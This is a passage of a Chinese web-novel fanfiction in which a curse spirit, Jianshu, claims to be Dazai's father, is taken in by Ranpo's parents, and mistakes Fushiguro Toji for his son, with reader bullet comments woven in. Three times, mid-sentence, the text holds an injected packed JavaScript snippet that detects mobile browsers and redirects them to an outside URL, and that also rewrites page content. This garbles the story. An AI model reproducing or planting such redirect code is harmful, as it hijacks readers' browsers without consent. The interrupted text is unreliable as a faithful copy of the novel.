《特级咒灵靠弹幕养崽》 2. 给出的解释 一上午没有生意,甚至收获更多复杂的目光。但间漱并不着急,只是默默等待着。 偶尔有心软的路人看着两人奇怪的打扮,都误以为是孩子生病的可怜人,所以纷纷在帽子里投下硬币。 间漱抬头看去,然后每次都直勾勾的看着那些好心人说:“你需要算命吗。” 【坐在路边就会有钱,拿笔记下。】 【这都要多亏太宰一直在装可怜吧?小小年纪演技已经很精湛了。】 【不过算命?难道和他的特殊能力有关?】 【哇哦,说起来间漱还没有介绍自己的异能,总是一副深沉的样子,想必异能也很强大吧。】 新奇的字眼引起间漱的注意力,异能?没听说过。他确实会算命,不用什么特殊的手法,也并不是异能。 那只不过是一种敏锐的“直觉”,就像他看到太宰的那眼就知道两人有联系那样,只要他想就能看到任何人的“未来”。 而摆摊算命赚钱,是从路过街上,看着那些自称算命瞎子,靠胡说八道一通就得到钱的行为得到灵感。 不过被盯着询问要不要算命的每个人,都觉得莫名其妙,有人一脸狐疑,也有人面露鄙夷。 直到一个人主动在帽子里放下一张大额纸币,他们才赚到足够住一晚上的钱。 “你需要算命吗。”间漱问出同样的问题,对面的那对夫妻并没有意外,而是点点头,“那就麻烦你了。” 而得知夫妻的身份后,原本还在吐槽无聊的弹幕顿时激动的滚动起来。 【江户川夫妻?!哇靠,是乱步的父母吧。】 【呜呜最好的父母,意难平啊!】 【所以在路边算命是钓鱼?短短两天邂逅又一个重要角色,间漱不会是特地在等吧。】 在短暂的交谈后,间漱给出了自己的回答:“三十二天后,你们会死。” 很精准的答案,于是弹幕滚动的更快。 【虽然早知道有这天,但只剩下三十二天也太快了。】 【可恶居然是这样的关键时候,话说能预料到未来,间漱的异能果然是预知类的吧?】 【那怪不得总一副神神秘秘的样子,就是不知道对方会不会相信。】 听着像是诅咒去死的不吉利话,但夫妻两人对视一眼后,并没有很诧异。 江户川菊对丈夫小幅度的摇了摇头,然后转头说道:“我知道了。” 间漱有些迟疑,因为他能做的只是这样提醒一句。因为和他的联系越深,能看到的画面就越模糊。 就比如昨天初次见到太宰时,如果他没有选择建立联系,那后者在很多年后的结局会是跳楼自杀。 而在间漱做出选择的那刻,太宰治的未来就变得模糊。 和他牵扯越深的人,就越无法规避未来。 面无表情的人又陷入沉默,好像在思考深沉的事情。夫妻两人对视一眼起身,而后下一秒间漱又开口询问。 “你不问吗?” “问什么?” 间漱停顿几秒钟,然后清楚的重复:“问我为什么这样说,为什么要诅咒你们。还有——明明是看着你这张脸不错才相信你,没想到是一个胡说八道的人。” 他重复一天来那些谩骂的话,夫妻两人的表情变得同情。 只有间漱很高兴,他并不觉得这是在骂他,毕竟那些人说他是人诶。 是人、是人类,他和其他人没有什么不同。 看着明明被骂却微笑的青年,江户川繁男的心情也变得复杂,他理解了妻子那个同情的表情,于是询问:“你需要帮助吗?需要帮忙联系救助或者福利院吗?” 间漱顿了一下,然后摇摇头,他抬手揽住身边的太宰治:“你不能将我们分开,孩子不能离开爸爸。” 江户川菊蹲下去,她温声细语道:“我知道的,没有人会将你们分开,不过在那之前,要不要去喝一杯咖啡?是附近很有名的特色哦。” 【真是少有,按照爸爸妈妈的智商肯定看出了不对劲。如果回答出错的话,是会因为拐卖孩子送去警察局的吧。】 【但是拒绝的话就更不对劲,如果处理得好说不定能借机和江户川夫妻搭上关系。】 【这样一说……难不成间漱早已经预料到这些?不然应该和宰装得更熟才对,而不是这样生疏的离着一段距离。】 【破绽百出!但说不定是故意卖的破绽。】 原来很多破绽吗?间漱抿着唇并没有答应,他和太宰特地坐得很远,只不过是因为后者的特殊能力。 十分钟后,离得最近的那家咖啡店。 里面并没有什么客人,所以刚进门的四人,得到了热情的招待。 除了唯一的那位孩子要了杯热可可牛奶外,桌子上又上了三份招牌咖啡。 江户川菊热情的招待:“尝尝吧,是附近有名的味道。” 间漱谨慎的端起咖啡,因为那刺激的味道给人一种不好的感觉。 黑发的青年凑近杯口谨慎嗅嗅,然后眼睛又斜视,学着坐在旁边的孩子那样,双手捧着咖啡杯。 对于孩子来说,沉甸甸的玻璃杯确实需要两只手,但是对成年人而言,这样的动作有些多余。 更何况那是一个有把手的咖啡杯。 夫妻两人都没有动,在细致的观察后他们得出同样的结论——间漱只是单纯的在模仿身边的人。 江户川繁男咳嗽一声,态度自然的单手端起咖啡杯。而果不其然在他有了动作后,对面的人也不着痕迹的换了个动作。 黑褐色的液体冒着热气,舌尖先是小心尝试,而后得到了负面的反馈。 他讨厌这样刺激性的苦味,间漱下意识皱眉,而后看到对面人摸着下巴露出若有所思的表情。 “很苦吧?要不要试试加点方糖?”江户川菊建议道,顺带把手边的碟子往前推了推。 乳白色的方糖没入液体,它很快融化消失不见,而咖啡好像没有什么改变。 小心尝试后味道确实有些改变,但依旧不够。 所以他伸出手又去摸方糖,但袖子却带倒什么东西。 意识到那个倾倒的牛奶杯的瞬间,间漱眯眼迅速出手。他以超乎寻常的速度抓住杯子,但接近满杯的液体还是撒了出来。 在短短几秒钟内发生的事情,让夫妻两人都有些诧异。那样的反应能力和平稳的手臂,可不像是普通人的身手。 江户川菊对丈夫使了个眼色,随后主动起身:“弄脏衣服了啊,我带你去处理一下吧?” 间漱的第一反应是抓住太宰治的手臂,后者用手背擦了擦被溅上的衣服,面上并没有特别的反应。 “穿着湿衣服可不好,放心很快就会回来的。”繁男也跟着劝道,“另外要不要再加点方糖?” 不知不觉松手后,间漱的注意力又在那碟方糖上,等他调到满意的甜度时,才意识到身边早已经空下来。 【哇哦出现了,小孩子不能听的话。】 【看间漱那个身手怎么可能没接住,是故意弄脏宰的衣服,好将两人支走吧。】 【这样一分析好像确实很有道理,不过要怎么才能说动这对夫妻呢?】 本来只是安静等待的间漱动作一顿,原来独处的时候应该说些什么吗? 面前的男人摩挲着指尖似乎在思考,间漱犹豫着开口:“我真的是他的爸爸。” 江户川繁男一愣,脑中的思绪好像被无形的手抚平。 他怀疑了很多阴谋论,拐卖、又或者更可恶的虐待,毕竟这对父子一看就很奇怪。结合间漱那不对劲的动作,很多恶毒的答案都要呼之欲去。 但是他完全没有料到,会得到如此诚恳而又笨拙的回答。 于是那些不对劲串联到一起,繁男不由失笑出声:“你多大?” 这是一个很值得思考的问题——所以间漱没有回答。 对面人扶额好像很无奈,最后叹息一声喃喃说了句:“原来是这样。” 【原来是哪样?有什么是我们不能听的吗。】 【好像错过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506741|186093||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了什么,是失忆了还是断片了?他们只说了一句话吧,是怎么得出不同答案的。】 【可能聪明人的世界和我们不同,比如说看似一句话,其实一个眼神、一个动作,就足够传递有用的消息。】 有……吗?间漱歪头很疑惑,他还没开始解释呢。 “太宰是我的孩子。”他很认真、又详细的补充,“我们是父子。” 【这种时候,应该直接将亲子鉴定拍在桌上!】 【这种东西根本就不存在吧!】 【原谅我无法理解聪明人的脑回路,间漱这句话加上这样的表情,明明看着很呆才对。】 【可能聪明人的世界我们无法理解。】 “我知道。”江户川繁男点头,然后又询问,“所以你以后有什么规划?” 【这样就相信了?】 【不是这样就糊弄过去了?】 间漱吐出一口气:“把他养大。” “那还真是很艰巨的任务。”江户川繁男摸着下巴,突然摇摇头说道,“这样可不行。” 他好像在自言自语,然后又习惯性的拿出口袋的纸笔写写画画。最后笔尖停顿,繁男撑着脑袋感慨:“根本不行啊。” 毕竟不能指望一个心智还是孩子的人,去抚养另一个真正的孩子。 繁男慢半拍的会意妻子的话,两人点单的时候,妻子曾小声告诉他:“需要帮助的,可能不止那个孩子。” 现在事实更清晰明了,因为看似是成年人的那位父亲,实则拥有着宛如幼童的心智。 所以怎么可能真的有能力抚养一个孩子。 繁男太苦恼了,他看着那双黑色的眼睛,突然有些许愧疚,他不应该用恶毒的想法怀疑间漱的。 “我们回来了。” 另一边牵着太宰的江户川菊露面,看着繁男那个苦恼的表情,她猜丈夫应该发现了那个真相。 在落座前,菊对太宰治眨了眨眼,两人心照不宣的决定保密刚刚的谈话。 而落座后,得到妻子许可的繁男试探着开口:“我们在乡下的隔壁刚好有一栋空房子,如果不嫌弃的话,要不要先住下?” 面前的男人是好心,但间漱有些迟疑:“这样对孩子好吗?” 【我靠,就这样?这样就拿下了?】 【不用费尽心思攻略的吗?我是不是错过了什么。】 【没错过什么,因为他们确实只是几句话的功夫,就决定了要收留这对新鲜出炉的父子。】 【?江户川夫妻不是同样的聪明人吗,所以怎么说服他们的?】 弹幕十分不理解,因为他们好像轻而易举的做到了什么。间漱也不理解,但如果是对孩子好的事情,那他会去做。 “是的,你应该有稳定的住处,我也可以帮忙看着孩子,这样你才能去工作赚钱不是吗?”菊循循善诱,“马上是晚上了,肯定饿了对吧?我会做很好吃的蛋包饭哦。” 蛋包饭……间漱只在路边报刊的图画书上看到过。 【好温柔的妈妈!简直就和哄孩子一样,美味蛋包饭我也想吃!】 【我也是我也是。】 在弹幕愉快的打岔下,间漱忘记了那些担忧,等他反应过来时,已经抱着太宰坐上“回家”的车。 江户川夫妻住在城镇里,这里远离城市的喧嚣,一切都显得缓慢而又悠闲。 看着时时刻刻将人拎着的间漱,江户川繁男有些无奈:“你不用这样牢牢看着他,不会走丢的。” 间漱点头表示听到了,但手上动作依旧没有改变。被拎着的太宰治已经轻车熟路的调整起姿势,他敏锐的察觉身边人那细微的不安。 泥土的路面因为车辆停下而惊起灰尘,一长串的篱笆围着独栋的房子。房子落座在湖边,再远的位置是一片茂密的树林。 院子门被从里面推开,风风火火的少年抬手喊道:“欢迎回来!” 黑色短发的少年刚推门出来就突然停下,看着站在父母身边的人,那双眯起的绿色眼眸,缓缓地睁大。 3. 忽略的需求 门口的人顿在原地,随后又不可思议的喊道。 “这是谁?不、不对……”少年摇摇头,一脸困惑的看向父母。 江户川菊微笑着点点头:“是暂住的客人,乱步。” 江户川乱步依旧是一脸沉思,他不断喃喃自语说着“这不对劲”。 “抱歉啊,我们去晚了所以没买到那家的点心。”繁男有意岔开话题,乱步下意识回答,“是因为这个人才耽误的吧!” 太宰治终于被放了下来,而小跑过来的乱步盯着两人,一脸凝重的说着:“你们两个——根本就不是父子。” “乱步。”菊开口喊道,“不可以没有礼貌。” “什么嘛,这不是大家都知道的事情吗。”乱步一边说,一边指着间漱吐槽,“这个人、这个人!很奇怪,他根本就……” 话突然卡壳,乱步感觉后背一凉。他隐约反应过来,如果那句话说出口的话,会有不好的事情发生。 间漱并没有理会那些话,他的心情很不错,因为乱步说了很多遍他是“人”。所以他学着摸太宰的方式,摸了摸乱步的脑袋。 后者被吓了一跳,立马后退躲到菊的身后,菊微笑着摇摇头:“嘘,乱步一定能和间漱好好相处的对吗?” “我才不要!” 独栋的房子旁边根本就没有邻居,所以空出的住处其实是三楼的房间。 繁男和菊两人风风火火的收拾起来,剩下的三人则得到点心和下午茶的招待。 乱步气鼓鼓的往嘴里塞着面包,他不明白妈妈为什么要收留这个奇怪的“人”,但盯着看久了,心中的郁闷又无处可发泄。 因为他发现间漱根本不会理解为什么被讨厌。 感觉到注视,间漱将手里的面包片送出去,但下一秒太宰治也直勾勾的看着他,所以在犹豫后,他将面包片一分为二递给两人。 “我不要。”乱步扭头拒绝,“没有抹果酱的面包我才不要。” 桌子上有两种果酱,间漱闻言打开了盖子,但很快又传来气急败坏的声音:“才不是这样抹,你会不会啊。” 乱步看不过去,手把手教着抹上满满的果酱,间漱睁大眼睛看着,然后下一秒被前者“嗷呜”一口咬住。 看着另外半块没有果酱的面包,间漱有样学样的抹了起来,但太宰在咬了一口后皱眉:“太甜了……” “明明刚刚好。”乱步反驳,下一秒他又沉浸在教间漱抹双层面包片的热情当中。 间漱学得很快,而且会用那样“崇拜”的眼神看他。乱步十分满意,并且决定暂时认可这个家伙。 【只是抹果酱而已,到底是谁不会啊?这果然也是间漱取悦乱步的计划之一吧!】 【看看名侦探那个骄傲的表情,短短半天就被拿捏了。】 【能看到好感的话,一定在不停的+1+1。】 看着兴致勃勃掏出各种零食分享的乱步,弹幕的风向齐刷刷的十分统一。 【能得到名侦探的零食分享你就高兴吧!】 【居然就得到认可了,居然这么简单就!可恶,攻略、信手拈来吗?】 这样就是攻略吗?间漱停了一下,十分上道的献出手上的面包片。 拆开的薯片堆成高高的塔,在堆薯片塔的比赛里,乱步以细微的差距赢下太宰治。 看着堆了满桌的薯片,太宰治有些迟疑,然后间漱十分上道的,将他面前的那些薯片两两搭配,都在中间涂上厚厚的果酱。 太宰治:…… 乱步瞄了一眼,然后急急忙忙道:“笨蛋!薯片不能和果酱搭配!” 看着空掉的果酱罐子乱步有些可惜,而那些特地准备的果酱夹心薯片,太宰治扭过脸表示抗拒。 所以那些通通进了间漱的肚子,乱步扭头看了许久,然后突然掏出一根比脸还大的棒棒糖。 “这可是我珍藏许久的,现在给你吧。”乱步咽了咽口水,然后一副忍痛割爱的表情,“毕竟妈妈说这太大了,比较适合收藏。” 间漱接过沉甸甸的棒棒糖,他又扭头看向太宰治,后者依旧皱眉拒绝:“我不要。” 虽然并不明白为什么突然得到巨大棒棒糖,但为了给面子间漱还是将它往嘴里塞。 坚硬的糖果被轻易咬断,发出咔喳咔喳的声响。没多久就只剩下一根棍子,而间漱则舔着嘴唇看他们。 那样锋利的牙齿……恐怕连骨头都能咬断,乱步搓了搓手臂明白那种阴凉的感觉从哪里而来。 他低头嘟囔一声,然后对上太宰治那直勾勾的视线。 于是只一个对视,他们从彼此的眼里看到了同样的想法。 在草草整理过后,总算是在入夜前收拾出能住人的地方。 江户川繁男擦了擦额头,看着客厅三人相处和谐的样子,总算是明白了妻子的用心。 随后他接过做晚饭的任务,和妻子一同在厨房忙碌。 沸腾的锅冒着白气,而探头看来的人一股脑的,将整整两三包意面都放进去。 繁男转头看到的那刻心头一紧:“乱步!不可以捣乱,这个份量都可以请领居一起吃上两天了。” “不够,根本不够。”乱步摇摇头,随后又去翻找起来。 菊笑笑没有指责,只是双手合十拜托:“那煮面的事情就麻烦你了,老公。” 说着她又想起什么,探头对客厅喊道:“间漱,现在有空吗。” 间漱被喊到厨房,温柔的妇人细心教导。 “煮面的时候要放没过的水,筷子可以夹断的时候就是熟了。”菊站在灶台前,认真对身边人说着,“还有植物的根茎是不可食用的,如果觉得做饭很麻烦的话,可以先选择速食的产品。” 很平常的对话——但看着灶台上燃烧的火焰,间漱不着痕迹的后退。 跳动的火舌好像有生命力那样,眼见着就要化作大手将他拉拽进去。 深黑色的瞳孔紧缩,察觉到间漱的抗拒,菊第一时间将火关掉。 “没事的,不会做饭也没关系。”菊安慰着,“间漱,先陪乱步他们去客厅等着好吗?” 间漱站着不动,然后摇了摇头:“我应该学会这些。” 做饭是人类普遍会掌握的技能,身为一位靠谱的父亲,他自然也需要掌握。 菊犹豫着没有拒绝,最后调小火从头开始教起。 间漱一直在学习,在手把手的教导下,终于洗出一个发亮的盘子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506742|186093||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “真不错。”菊真心实意的夸奖,“你学习的很快,所以不用着急慢慢来就好。” “嗯。”间漱端着那个洗得发亮的盘子,然后用它装上蛋包饭,送到了太宰治面前。 那大概是一个需要夸奖的表情,太宰治拿着勺子微不可察的上扬嘴角。 “味道还不错。”他抿着唇,然后对着那对夫妻点头,“谢谢你们。” 夫妻两人相视一笑,而另一边的乱步,正不间断的往间漱面前的碗里加东西。 一大锅的面热气腾腾,加了足足一瓶酱料搅拌。但这些还是不够,乱步看着间漱以飞快的速度吃完,然后他摸着下巴说:“还是很饿吗?” “饿?”间漱歪头看去,比较其他人的饭量—— “我不饿。” “才不是。”乱步突然挑眉,用一种发现一切的了然表情,“你明明时时刻刻都在忍受饥饿,是因为这些食物完全不够吗?” 间漱低头摸着自己肚子,他无法形容那样的感觉,最后只摇摇头:“面很好吃,蛋包饭也是。” 他喜欢人类的食物,而那忍耐的“饥饿感”,并不完全是因为食物。 夜晚应该睡觉,间漱学着其他人的样子闭上眼睛,发出均匀的呼吸。 但被他抱着的人有些抗拒,太宰治伸手推了推:“我自己能睡,而且床很大。” 间漱将那只手塞回被子里,确定包得严严实实后,才闭着眼睛说:“现在是睡觉时间。” 抗拒的声音渐渐小下去,漆黑的房间里好像响起一声轻叹。 明明是闭着眼睛的状态,但在半夜察觉到身边人无意识的低吟后,间漱又在第一时间睁开眼睛。 他的眼中一片清明,就好像根本没有睡着那样。而身边蜷缩着的孩子,正呼吸粗重、浑身滚烫。 这种情况是之前没有出现过的,间漱伸手摸着那个滚烫的身体,却没有一点办法。 在手足无措的时候,房门恰到好处的推开。床头的小灯亮起,被子里烧得意识模糊的孩子,被一双温柔的手抱起。 繁男轻车熟路的处理起来,湿毛巾、温热的水和药,早在第一时间就端了过来。 而菊拉住间漱的手坐在旁边,她安慰的轻轻拍拍:“是因为心理压力太大,骤然一放松所以才发烧吧。” 她早在晚饭的时候,看着没什么胃口的孩子,以及那蔫蔫的表情就猜到晚上会有这样的变故。 “间漱,太宰他并不是需要贴身照顾的婴儿,你需要给他独处的空间。”菊贴心的解释,“你意识到了吗,他压力的来源是你。” 漆黑的眼睛缓缓睁大,间漱一时有些结巴:“……我吗?” 看来是丝毫没有意识到,菊轻叹一声:“我知道你都是好心,但是突然的重逢,是否需要给他一个接受的时间?” 她没有直接点破两人并非父子的真相,而是循循善诱的引导。 “孩子都有自己的想法,或许我们应该多问问太宰的想法。我相信你以后一定会学习怎么当一位好父亲,但现在、先试着去和孩子接触一下,从了解彼此开始。” 房间里只点着昏暗的灯,坐在床边上的人低垂着头,而后伸进被子里握紧那滚烫发汗的手。 4. 错认的孩子 烧得昏昏沉沉时,声音也忽远忽近的听不清楚。 太宰治早忘记了上一次生病是什么时候,他只觉得这样痛苦的感觉有些难熬,直到那双冷冰冰的手,犹豫着握住他。 他听到了交谈声,然后清晰地听到那个回答。 “喜欢的东西应该拿在手上,想要保护的人应该放在身边。我不会离开他,他总会习惯的。” 另一个声音欲言又止的回答:“喜欢是要尊重彼此的需求……算了,这对你来说好像有些为时过早。” 随着意识逐渐变得昏昏沉沉,漫长的夜晚也在天亮后结束。 人类需要充足的睡眠,这点是大清早下楼的时候,菊亲口告诉他的。 此时间漱才意识到,不用天一亮就将太宰从被窝里掏出来。 “也不用寸步不离的带着他啦。”菊认真说着,“他不会乱跑,只要确定没有危险就好。” 不停打着哈欠的太宰治昏昏欲睡,他强撑着睁开眼睛,然后被放在沙发上能够短暂睡个回笼觉。 间漱很精神,记下要给孩子充足睡眠后,就亦步亦趋的跟在夫妻两人身后。 繁男教会他怎么给花浇水、除虫,菊教会他怎么用刀叉、做简单的煎蛋,以及收下邻居送来的东西时,要在下次回送其他礼物。 清晨的时间很短暂,随着太阳高升打着哈欠的乱步下楼。 “早安。”间漱对着乱步颔首,“来吃早饭吧。” 说完他熟练的摆好碗筷,并且在两个孩子杯子里倒满热牛奶。 时间来到早上九点,是书上说的工作时间。 眼见间漱又要拉着太宰出门,菊立马将人喊住:“他生病刚刚好,需要充足的休息。我们会帮忙看着他的,不用担心。” “虽然觉得没必要这么快去找工作,但是如果你坚持的话——”繁男也开口劝道,“对收拾文件的工作感兴趣吗?警局刚好有个职位。” “不用了。”间漱看着太宰依旧有些欲言又止,最后出于对夫妻的信任他点点头,“那就麻烦了?” 间漱执着要出门,他要赚钱养孩子。 见无法劝住人,菊便贴心的准备了便当,用一个挎包装着:“饿了就要吃饭,累了就回家。” 夫妻两人站在门口,目送着那个背影远去。 繁男擦擦眼尾突然感慨:“好不放心,就和乱步第一次出门那样担心。” “让孩子一个人出门确实不放心。”菊也摇摇头,“不过他的头脑很好,学习什么东西都很快,所以相信他吧。” 说着她低下头,伸手摸了摸太宰的头顶:“不用担心,爸爸很快会回来。” 太宰没有回答,只是悄悄松了口气。 —— 按照菊给的简易地图,间漱第一次坐车来到比上一次还要多人的地方。 人多的地方机会也多,弹幕是这样说的。 【又开始假装闲逛,实则找到重要角色吓我们一跳吗?】 【肯定是这样,不知道下一个会偶遇谁。】 【但是要和其他人接触的前提,也需要一个掩饰,没有正规身份总要有正规工作,这样才不会惹来怀疑。】 从那些乱跑的弹幕里,间漱仔细找着能参考的建议。 但是十条弹幕里,有用的只有其中一句的那么几个字——去找正规工作。 十分钟后,间漱找了一个人多的十字路口。 这次看他的人比上次多得多,但不知道是因为什么原因,今天一个光顾的客人也没有。 就连路过的流浪狗,也不屑于和他待在同一条台阶上。 不过和灵敏的动物不同,有些未知的生物总会蜂拥而至。 那东西长的很难看,拍打着翅膀由远至近。不仅仅长得丑,而且身上散发着难闻的味道。 【低级咒灵蝇头?虽然普通人看不到它,但是因为太弱,应该不会选择出现在人多的地方才对。】 【看样子好像是谁用来找东西的,因为……已经不止一只啊!】 体型差不多的四五只蝇头前仆后继的赶来,然后都围在不近不远的位置安静趴着。 只有一只还能说巧合,这么多的话就显得十分诡异。 不久后一个高大的身影,追随着那些蝇头在间漱面前停下。紧接着他一拳挥过去,其中一只眼巴巴赶来的蝇头,还没来得及靠近就化作飞灰。 强壮的男人眯着眼睛,他冷笑一声威胁道:“不管你用了什么手段,别妨碍我工作。” 说着他抬脚将摆在地上的帽子踢走,然后将蝇头抓着一阵威胁,瑟瑟发抖的低级咒灵老实了,但等一松手,又都往那个青年身边凑去。 间漱抬头看向男人,目光着重落在其嘴角的那道疤上。他蹙眉嗅了嗅,然后站了起来。 【果然——在路边坐着会被天与咒缚搭讪,不知道应该说间漱太有魅力,还是说一切都在他的掌握当中。】 【这可是暴君!居然会对除了女人之外的人说话,不过……气氛是不是有些不对?】 【这位脾气很差可不是好相处的主,就是不知道间漱会怎么引起他的兴趣了。】 间漱像捡球一样,将那些蝇头捡起来堆成一座小山,然后伸手送回去:“你很喜欢这些东西?” 从对方喜欢的东西入手——搭话的第一个步骤,间漱自认为很完美,但是面前人却拧起眉毛。 在面前人开口的时候,伏黑甚尔才挑眉意识到前者其实是一个长相漂亮的男人。 再加上这人对咒灵好像莫名有一种吸引力,所以和这样的家伙扯上关系肯定不会有好事。 伏黑甚尔放弃了找茬,但一转身离开,那个男人又阴魂不散的跟了上来。 “谁要这些垃圾。”伏黑甚尔抬手将那些蝇头捏碎,然后又不客气道,“别跟着我。” “抱歉。”间漱突然说道,“是我来晚了。” 【这是什么新的搭讪方式吗?】 【真少见,那位暴君居然也会愣住。】 伏黑甚尔短暂驻足,他很好奇这个怪男人嘴里会说什么。间漱放下那些蝇头,转而从口袋里掏了掏拿出糖果。 就像哄孩子那个,表情也带着些愧疚和……怜悯? “我应该早点来的。”间漱很认真的解释,“不过现在也不晚。” 在他的“预知”里,他会和面前这个男人成为父子。 虽然有些不同,但这被他归咎于来太晚的原因。在那不存在的记忆里,那个黑色短发、绿色眼睛的孩子,也和太宰一样待在他身边。 “是爸爸来晚了,你都长这么大了。”间漱学着菊的样子,想伸手拍拍那个比自己还要高的脑袋,“一定很辛苦吧,不过现在也没关系,爸爸会照顾你的。” 【……卧槽,幻听了。】 【四处认孩子……这是有什么特殊癖好吗?】 【这招对太宰或许有用,但这位可是完全体的暴君啊!你早个十几年说不定有用。】 【楼上说的不对,这招对太宰也没用,不过是因为使用了强制手段而已。】 【笑死,也不管年纪张口就是我是你爹。】 【虽然每次邂逅都在计划当中,但是这个开场是否有什么不对?】 因为这样的话太过惊骇世俗,就连见惯不怪的伏黑甚尔也罕见的愣住。 意识到面前的男人说了什么后,他没由来的觉得恶心。如果说这些话是为了侮辱他,甚尔反倒接受良好。 但看那个表情,这个看着比他还要年轻的男人,分明是认真的。 甚尔放弃了思考,他面无表情的抬手挥出。 热闹的大街上,一个飞着摔出去的人撞在路灯上。 那人连续撞翻两个垃圾桶,然后才撑着路灯起身。街上的其他人纷纷投去注视,对这场斗殴产生好奇。 但是那两人并没有打起来,生气的好像也只是那个黑衣服的高大男人。 有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506743|186093||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人站在中间,捻着烟吸了一口:“甚尔,还有暗杀的任务,低调一点。” 孔时雨多瞥了眼,看着拍拍灰站起身,并且一点都不生气的男人有些诧异:“你这个人好奇怪,我还以为你们有什么特殊的扮演癖好——父子,哈哈。” “住嘴,不然也让你躺着。”甚尔掏了掏耳朵,不打算继续追究,“没意思。” 和打到棉花上一样,没有丝毫泄愤的感觉。 “我会是他的爸爸。”间漱依旧一本正经,不管炸开的弹幕,“就是这样。” 摇摇头的孔时雨不由咋舌:“没见过的面孔,什么来历?” 一问三不知的男人只回答了自己叫间漱,并且依旧执着证明他和甚尔的父子关系。 讲真的他们一点也不像,年轻美丽的男人有一双深灰色的眼睛和黑色长发,就是看着……脑子不太好的样子。 孔时雨起了兴趣,他对甚尔说道:“你先去完成任务,这个家伙我来应付。” 所幸男人并不是无法沟通,说了句甚尔待会儿回来后,就很顺从的跟着走了。 在弹幕的解释下,间漱知道了诅咒师是什么,甚至还在热心的科普下,了解到咒术师和诅咒的存在。 他并没有接话,只是很认真的思考:孩子长大了叛逆应该怎么办? 弹幕没有解答他的疑惑,纷纷想炸开了锅一样赞叹他是勇士。 【我靠第一次见,感觉甚尔那个表情比被骂了还要恶心。】 【毕竟一直不被重视,多出一个冒认是爹的人,怎么想都很冒昧。】 【别出心裁的吸引人方式,间漱、你引起了我的兴趣!】 孔时雨眼睛转了转,装作不经意道:“你来这里做什么的?又或者说你靠近甚尔是为了什么。” “来找工作。”间漱十分坦诚,“想带甚尔回家。” 今天已经震惊过很多次了,但听到这样的话,孔时雨还是震惊的瞪大眼睛:“你……” 他欲言又止,然后突然噗嗤笑了出来:“你是诅咒师?很迷茫啊,要不要来我这里工作。” “可以,不过要是正规工作。”间漱一再强调。 孔时雨十分上道的对着电脑敲敲打打:“给你安排入职吧,间漱、间漱……没找到你的身份,我帮你顺带造个假身份吧。” “间漱是姓还是名?” 间漱很认真的思考,然后给出回答:“太宰。” “姓太宰?奇怪的组合。” 新鲜出炉的假身份确定,一同送到间漱面前的,还有一张崭新的工作牌。 工作牌上有名字和敷衍的照片,以及能打开事务所大门的芯片。 【哇塞原来如此,和暴君套近乎,是为了引起孔时雨的注意,从而搞定身份,不愧是间漱。】 【原来不是为了逗我们笑,看来乱认儿子是假的,其实另有目的。】 【下次绝对不笑那么早。】 “你可以来我这里接取任务,杀死目标人物或者诅咒,会给你丰厚的报酬。”孔时雨坐在椅子上,发布了第一个任务,“刚好有一个抓捕二级咒灵的任务,要不要考虑一下。” 对于一个实力不明、身份不明的人而言,孔时雨是想要先试探的。 二级咒灵是相对危险的,但面前这个男人面不改色——要么是他实力强大,根本不放心上,要么就是根本不了解咒灵是什么。 提到丰厚报酬间漱才算是有了反应,但他看了眼时间又摇头:“现在是午饭时间。” 孔时雨有些错愕的,看着面前人从那有着可爱卡通动物图案的挎包里,拿出精致的便当。 进食的青年很安静,甚至连每一个饭粒都挑得干干净净。等到吃完饭收拾好后,才问了他任务的详细细节。 二级咒灵并没有那么好抓捕,就连训练有素的术师也需要准备。 但黑发的青年只是问了位置,然后什么都没带就走了。 看来果然是强者。 5. 上学的打算 事务所的工作时间,忙碌过后终于迎来了短暂的休息。 空出时间后,孔时雨又开始在资料库中调查,然后他发现整个日本,都没有间漱这么一个人存在过的痕迹。 而正在分神想这人什么来历的时候,不过短短三个小时,事务所的门又被推开。 孔时雨猛得坐直身,与此同时感觉整个身体都僵硬起来。 门口的人一手拽着一只庞大的咒灵,那咒灵还在挣扎抗拒,发出无能为力的咆哮和吼叫。 而最让人震惊的,是被绑在咒灵身上的,七零八落的其他咒灵。 “我不知道你具体说是哪只,所以都给你带回来了。”间漱刚准备松手交差,里面的人立马大喊,“等等!” 第一个交接工作,间漱用了十足的诚意。只不过孔时雨好像被吓得不轻,连忙联系了支援。 【笑死了,间漱是察觉到被轻视了,所以直接给个下马威吗。】 【毕竟一开门那么多诅咒连成串排队等着,对于没有战斗能力的孔时雨而言,确实很可怕了。】 【不过……这么快速就完成了任务,难不成间漱的异能并不是预知?】 【楼上推测合理,万一孩子只是聪明,所以猜到了呢?能和剧本组混熟,肯定也不是简单角色。】 【收复咒灵的过程完全没有技巧可言,感觉孩子单纯就是劲儿大。】 